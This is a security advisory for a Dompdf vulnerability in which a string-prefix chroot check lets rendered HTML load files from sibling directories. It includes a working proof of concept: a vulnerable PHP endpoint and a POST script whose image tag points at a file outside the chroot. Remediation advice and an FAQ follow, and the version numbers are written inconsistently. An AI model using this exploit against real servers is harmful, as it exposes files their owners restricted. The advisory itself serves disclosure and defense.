CVE-2026-55554: Dompdf: Chroot Validation Bypass
Summary The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/rootsecret/file.html when chroot is /var/www/root.
This allows attacker-controlled document paths/resources to bypass intended local file restrictions.
Details The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:
public function validateLocalUri(string $uri) { ... $realfile = realpath(strreplace("file://", "", $uri)); ... foreach ($dirs as $chrootPath) { $chrootPath = realpath($chrootPath); if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) { $chrootValid = true;
Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a prefix of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.
For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/wwwbackup, despite these being different directories.
PoC
With a directory structure similar to:
/home/dompdf/ |--> web/ |--> pdf.php |--> cat0.jpg |--> web-admin/ |--> cat1.jpg
And web-accessible Dompdf functionality similar to the following (poc.html):
<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; use Dompdf\Options;
$options = new Options(); $options->setChroot(['/home/dompdf/web/']); $dompdf = new Dompdf($options);
$dompdf->loadHtml($POST['html']); $dompdf->render(); $dompdf->stream(); ?>
A malicious actor can exploit the vulnerability with the following script:
$html = <<<HTML <!DOCTYPE html> <html> <body> <p>within chroot</p> <img src="/home/dompdf/web/cat0.jpg"> <p>outside of chroot</p> <img src="/home/dompdf/web-admin/cat1.jpg"> </body> </html> HTML;
$url = 'http://example.com/poc.php'; $data = ['html' => $html]; $headers = ["Content-type: application/x-www-form-urlencoded"];
// use key 'http' even if you send the request to https://... $options = [ 'http' => [ 'header' => $headers, 'method' => 'POST', 'content' => httpbuildquery($data), 'ignoreerrors' => true, ], ]; $context = streamcontextcreate($options); $response = filegetcontents($url, false, $context);
When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.
Impact An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.
Other sources
Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, the validateLocalUri() method enforces chroot boundaries with a strpos() prefix check after normalizing paths with realpath() . Because normalization strips the trailing directory separator from $chrootPath , the check only verifies that $chrootPath is a string prefix of $realfile, so a chroot of /var/www also matches sibling directories like /var/www2 , /var/www-admin, or /var/wwwbackup. An attacker who controls part of the rendered HTML could exploit this to escape the chroot and read sensitive files outside the allowed directory. This issue has been fixed in version 3.16.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/dompdf/dompdfto a version that resolves this vulnerability.Fixed in 3.1.6 - Upgrade
Upgrade
dompdf/dompdfto a version that resolves this vulnerability.Fixed in 3.16 - Compensating control
Restrict web-accessible HTML/PDF rendering features so untrusted users cannot control the HTML/URI inputs that Dompdf uses for local file loading (e.g., the content passed to $dompdf->loadHtml and any local resource URIs).
Event History
Frequently Asked Questions
What is the severity of CVE-2026-55554?
The severity of CVE-2026-55554 is rated as risk 52.
What is CVE-2026-55554 vulnerability about?
CVE-2026-55554 allows attackers to bypass intended chroot boundaries due to improper path validation.
How do I fix CVE-2026-55554?
To fix CVE-2026-55554, update your composer/dompdf/dompdf to version 3.1.6 or newer.
Which software is affected by CVE-2026-55554?
The software affected by CVE-2026-55554 is composer/dompdf/dompdf.
What kind of vulnerabilities does CVE-2026-55554 relate to?
CVE-2026-55554 relates to Input Validation and Path Traversal vulnerabilities.